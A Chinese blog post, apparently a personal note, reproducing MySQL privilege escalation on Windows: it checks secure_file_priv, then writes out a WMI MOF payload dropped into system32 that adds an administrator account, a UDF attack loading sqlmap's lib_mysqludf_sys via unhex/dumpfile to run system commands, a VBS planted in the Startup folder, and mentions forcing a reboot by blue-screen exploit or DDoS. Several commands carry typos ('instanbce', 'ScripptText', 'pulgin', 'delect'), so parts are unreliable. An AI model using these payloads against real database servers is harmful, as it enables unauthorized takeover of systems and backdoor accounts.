MYSQL提权复现

[toc]

1
2
3
4
mysql写权限
查询写权限
show variables like "secure_file_priv";
查询结果不能为null

修改配置文件 windows下为my.ini linux为my.cnf

secure_file_priv =’’

null为不允许导入导出

空白则为任意

/tmp则为只能在/tmp目录下

1
2
3
4
查看mysql pulgin文件目录
show variables like "pulgin%";
查看系统版本
show variables like "%compile%";

mof提权(失败)

在windows的C:/windows/system32/wbem/mof/nullevt.mof文件中, 会间接以系统权限执行一次, 写入我们的恶意代码即可被系统执行

1
select load_file("上传文件的路径/evil.mof") into dumpfile "C:/windows/system32/wbem/mof/nullevt.mof"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
mof文件
添加用户
instanbce of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScripptText = "var WSH = new ActiveXObject(\"WScript.shell\")\nWSH.run(\"net.exe user admin admin /add\")";
};

提权
instanbce of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScripptText = "var WSH = new ActiveXObject(\"WScript.shell\")\nWSH.run(\"net localgroup administrators admin /add\")";
};

完整代码
复制代码
#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
};

instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

udf提权

通过添加对应的自定义函数文件 实现提权

mysql版本大于5.1版本. udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。

mysql版本小于5.1版本. udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
先将sqlmap自带的udf文件转为udf.dll文件(linux为.so文件), 在sqlmap下的sqlmap\extra\cloak\cloak.py文件 
python cloak.py -d -i C:\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_
在mysql安装目录下存在lib/plugin目录 并且存在, 将sqlmap生成的udf文件移动到mysql对应目录下
或者将文件转为16进制 然后解码存入文件
select unhex("xxxxx16进制字符") into dumpfile "pulgin路径/udf.dll"
在mysql中引入udf文件
create function sys_eval returns string soname 'udf.dll';
执行函数
select sys_eval("whoami");
创建用户
net user test root /add/ root是密码
net localgroup administrators test /add
删除函数
drop function sys_eval;
delect from mysql.func where name="sys_eval";


vbs提权

将vbs文件放入window的C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup下 在windows启动时就会自动执行

1
2
3
4
5
6
bbs文件
创建test用户
set sh=wscript.createobject("wscript.shell")
sh.run "net user test11 qwe123! /add"
导入文件夹 注意路径分割符
select load_file("C:/上传的vbs文件/") into dumpfile "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/1.vbs"

迫使服务器重启

1
2
蓝屏exp
ddos攻击

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!